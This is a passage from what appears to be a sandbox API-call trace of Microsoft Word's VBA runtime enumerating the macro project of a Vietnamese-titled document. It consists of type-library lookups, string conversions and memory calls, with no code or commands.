cchWideChar=7, lpMultiByteStr=0x127810, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office", lpUsedDefaultChar=0x0) returned 7 [0053.434] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Office") returned 0x107515 [0053.434] IUnknown:Release (This=0x677dc90) returned 0x3 [0053.434] IUnknown:Release (This=0x677dc90) returned 0x2 [0053.435] SysStringByteLen (bstr="潎浲污") returned 0x6 [0053.435] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x66dbe98, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0053.435] SysStringByteLen (bstr="潎浲污") returned 0x6 [0053.435] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x66dbe98, cbMultiByte=7, lpWideCharStr=0x66dc7f8, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0053.435] IMalloc:Alloc (This=0x7feffc15380, cb=0xa8) returned 0x69a8700 [0053.435] IMalloc:Alloc (This=0x7feffc15380, cb=0x7f40) returned 0x6a88a10 [0053.437] IMalloc:Alloc (This=0x7feffc15380, cb=0x30) returned 0x663ed50 [0053.437] IMalloc:Alloc (This=0x7feffc15380, cb=0x60) returned 0x69a0a40 [0053.437] ITypeInfo:RemoteGetTypeAttr (in: This=0x6856a50, ppTypeAttr=0x127b38, pDummy=0x6a883d0 | out: ppTypeAttr=0x127b38, pDummy=0x6a883d0*=0x7) returned 0x0 [0053.437] ITypeInfo:LocalReleaseTypeAttr (This=0x6856a50) returned 0x0 [0053.437] IUnknown:Release (This=0x6856a50) returned 0x1 [0053.439] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0x127ac0, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0053.439] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0053.439] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0x127aa0, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0053.439] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0053.439] IMalloc:Alloc (This=0x7feffc15380, cb=0x8) returned 0x6a50730 [0053.439] qsort (in: _Base=0x6a50730, _NumOfElements=0x1, _SizeOfElements=0x8, _PtFuncCompare=0x7fee47c219c | out: _Base=0x6a50730) [0053.439] bsearch (_Key=0x1269f8, _Base=0x6a50730, _NumOfElements=0x1, _SizeOfElements=0x8, _PtFuncCompare=0x7fee47c219c) returned 0x6a50730 [0053.439] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisDocument", cchCount1=-1, lpString2="ThisDocument", cchCount2=-1) returned 2 [0053.440] IUnknown:AddRef (This=0x677d9c0) returned 0x4 [0053.440] ITypeLib:RemoteGetDocumentation (in: This=0x677d9c0, index=-1, refPtrFlags=0x127ad8, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x127801 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x127801) returned 0x0 [0053.440] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="VBA", cchCount1=3, lpString2="Normal", cchCount2=6) returned 3 [0053.440] IUnknown:Release (This=0x677d9c0) returned 0x3 [0053.440] IUnknown:AddRef (This=0x677a9f0) returned 0x8 [0053.440] ITypeLib:RemoteGetDocumentation (in: This=0x677a9f0, index=-1, refPtrFlags=0x127ad8, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x127801 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x127801) returned 0x0 [0053.440] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="Word", cchCount1=4, lpString2="Normal", cchCount2=6) returned 3 [0053.440] IUnknown:Release (This=0x677a9f0) returned 0x7 [0053.440] IUnknown:AddRef (This=0x677acc0) returned 0x5 [0053.440] ITypeLib:RemoteGetDocumentation (in: This=0x677acc0, index=-1, refPtrFlags=0x127ad8, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x127801 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x127801) returned 0x0 [0053.440] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="stdole", cchCount1=6, lpString2="Normal", cchCount2=6) returned 3 [0053.440] IUnknown:Release (This=0x677acc0) returned 0x4 [0053.440] wcscpy_s (in: _Destination=0x66dbe98, _SizeInWords=0xa, _Source="*\\CNormal" | out: _Destination="*\\CNormal") returned 0x0 [0053.440] wcsncpy_s (in: _Destination=0x1273f0, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0053.440] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0053.441] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0x127320, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0053.441] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0053.441] SysStringByteLen (bstr="潎浲污") returned 0x6 [0053.441] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x66dbe98, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0053.441] SysStringByteLen (bstr="潎浲污") returned 0x6 [0053.441] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x66dbe98, cbMultiByte=7, lpWideCharStr=0x66dc7f8, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0053.441] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="Normal", cchCount1=6, lpString2="Normal", cchCount2=6) returned 2 [0053.441] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0x127a30, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0053.441] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0053.444] IUnknown:QueryInterface (in: This=0x6856a50, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1275e0 | out: ppvObject=0x1275e0*=0x0) returned 0x80004002 [0053.444] IUnknown:QueryInterface (in: This=0x6856a50, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1275b0 | out: ppvObject=0x1275b0*=0x0) returned 0x80004002 [0053.444] IUnknown:QueryInterface (in: This=0x6856a50, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1275a0 | out: ppvObject=0x1275a0*=0x0) returned 0x80004002 [0053.444] IUnknown:QueryInterface (in: This=0x6856a50, riid=0x7fee4b40b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1275a8 | out: ppvObject=0x1275a8*=0x0) returned 0x80004002 [0053.444] ITypeInfo:RemoteGetTypeAttr (in: This=0x6856a50, ppTypeAttr=0x1275d8, pDummy=0x10 | out: ppTypeAttr=0x1275d8, pDummy=0x10) returned 0x0 [0053.444] ITypeInfo:LocalReleaseTypeAttr (This=0x6856a50) returned 0x0 [0053.445] IUnknown:AddRef (This=0x6856a50) returned 0x3 [0053.445] IUnknown:Release (This=0x6856a50) returned 0x2 [0053.445] IMalloc:Free (This=0x7feffc15380, pv=0x663ea90) [0053.446] SysStringByteLen (bstr="牐橯捥t") returned 0x7 [0053.446] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x66dbe98, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0053.446] SysStringByteLen (bstr="牐橯捥t") returned 0x7 [0053.446] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x66dbe98, cbMultiByte=8, lpWideCharStr=0x66dc7f8, cchWideChar=8 | out: lpWideCharStr="Project") returned 8 [0053.446] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CV gui PVN vv y kien cua UB ve gia han", cchWideChar=-1, lpMultiByteStr=0x2e3b970, cbMultiByte=77, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CV gui PVN vv y kien cua UB ve gia han", lpUsedDefaultChar=0x0) returned 39 [0053.446] SysStringByteLen (bstr="牐橯捥t") returned 0x7 [0053.446] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x66dbe98, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0053.446] SysStringByteLen (bstr="牐橯捥t") returned 0x7 [0053.446] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x66dbe98, cbMultiByte=8, lpWideCharStr=0x4233e28, cchWideChar=8 | out: lpWideCharStr="Project") returned 8 [0053.446] lstrlenA (lpString="Project") returned 7 [0053.446] lstrcatA (in: lpString1="Project", lpString2=" (" | out: lpString1="Project (") returned="Project (" [0053.446] strncat_s (in: _Destination="Project (", _SizeInBytes=0x187, _Source="CV gui PVN vv y kien cua UB ve gia han", _MaxCount=0x28 | out: _Destination="Project (CV gui PVN vv y kien cua UB ve gia han") returned 0x0 [0053.446] lstrcatA (in: lpString1="Project (CV gui PVN vv y kien cua UB ve gia han", lpString2=")" | out: lpString1="Project (CV gui PVN vv y kien cua UB ve gia han)") returned="Project (CV gui PVN vv y kien cua UB ve gia han)" [0053.446] IMalloc:Alloc (This=0x7feffc15380, cb=0xa8) returned 0x69a8860 [0053.447] IMalloc:Alloc (This=0x7feffc15380, cb=0x30) returned 0x663ea90 [0053.447] IMalloc:Alloc (This=0x7feffc15380, cb=0x60) returned 0x69a0b20 [0053.448] IMalloc:Alloc (This=0x7feffc15380, cb=0xa8) returned 0x69a8a70 [0053.448] IMalloc:Alloc (This=0x7feffc15380, cb=0x30) returned 0x663ec10 [0053.448] ITypeInfo:RemoteGetTypeAttr (in: This=0x6856a50, ppTypeAttr=0x1279c8, pDummy=0x6a883d0 | out: ppTypeAttr=0x1279c8, pDummy=0x6a883d0*=0x7) returned 0x0 [0053.448] ITypeInfo:LocalReleaseTypeAttr (This=0x6856a50) returned 0x0 [0053.448] IUnknown:Release (This=0x6856a50) returned 0x2 [0053.448] ITypeInfo:RemoteGetTypeAttr (in: This=0x6856a50, ppTypeAttr=0x127c08, pDummy=0x6a09030 | out: ppTypeAttr=0x127c08, pDummy=0x6a09030*=0x70017) returned 0x0 [0053.448] ITypeInfo:LocalReleaseTypeAttr (This=0x6856a50) returned 0x0 [0053.449] IUnknown:Release (This=0x6856a50) returned 0x2 [0053.449] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x6a50870 [0053.449] IUnknown:QueryInterface (in: This=0x68568f0, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x127400 | out: ppvObject=0x127400*=0x0) returned 0x80004002 [0053.449] IUnknown:QueryInterface (in: This=0x68568f0, riid=0x7fee4b340f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x127348 | out: ppvObject=0x127348*=0x68568f0) returned 0x0 [0053.450] ITypeInfo2:GetCustData (in: This=0x68568f0, GUID=0x7fee4b3d970*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0x127358 | out: pVarVal=0x127358*(varType=0x0, wReserved1=0x12, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x800000000)) returned 0x0 [0053.450] IUnknown:Release (This=0x68568f0) returned 0x2 [0053.450] ITypeInfo:RemoteGetDocumentation (in: This=0x68568f0, memid=-1, refPtrFlags=0x127350, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x127370 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x127370*="") returned 0x0 [0053.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0x127260, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0053.450] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document") returned 0x10d36a [0053.450] ITypeInfo:RemoteGetTypeAttr (in: This=0x68569a0, ppTypeAttr=0x127350, pDummy=0x0 | out: ppTypeAttr=0x127350, pDummy=0x0) returned 0x0 [0053.450] ITypeInfo:LocalReleaseTypeAttr (This=0x68569a0) returned 0x0 [0053.450] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x0, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.450] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.450] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x1, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.450] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.450] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x2, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.450] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.450] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x3, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.450] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.450] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x4, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.450] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.450] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x5, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.450] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.450] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x6, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.450] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.450] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x7, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.450] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.450] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x8, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.450] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.450] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x9, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.450] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.450] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.450] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.450] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.450] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.450] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.450] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.450] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.450] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.450] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.450] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.450] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.450] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.450] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x10, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.450] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.450] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x11, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.450] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.450] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x12, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.451] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.451] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x13, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.451] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.451] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x14, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.451] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.451] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x15, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.451] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.451] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x16, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.451] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.451] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x17, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.451] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.451] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x18, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.451] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.451] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x19, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.451] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.451] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x1a, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.451] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.451] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x1b, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.451] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.451] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x1c, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.451] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.451] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x1d, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.451] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.451] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x1e, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.451] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.451] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x1f, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.451] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.451] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x20, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.451] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.451] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x21, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.451] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.451] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x22, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.451] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.451] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x23, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.451] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.451] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x24, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.451] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.451] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x25, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.451] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.451] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x26, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.451] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.451] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x27, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.451] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.451] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x28, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.451] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.451] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x29, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.451] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.451] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x2a, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.452] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.452] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x2b, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.452] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.452] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x2c, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.452] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.452] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x2d, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.452] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.452] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x2e, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.452] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.452] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x2f, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.452] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.452] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x30, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.452] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.452] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x31, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.452] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.452] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x32, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.452] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.452] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x33, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.452] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.452] 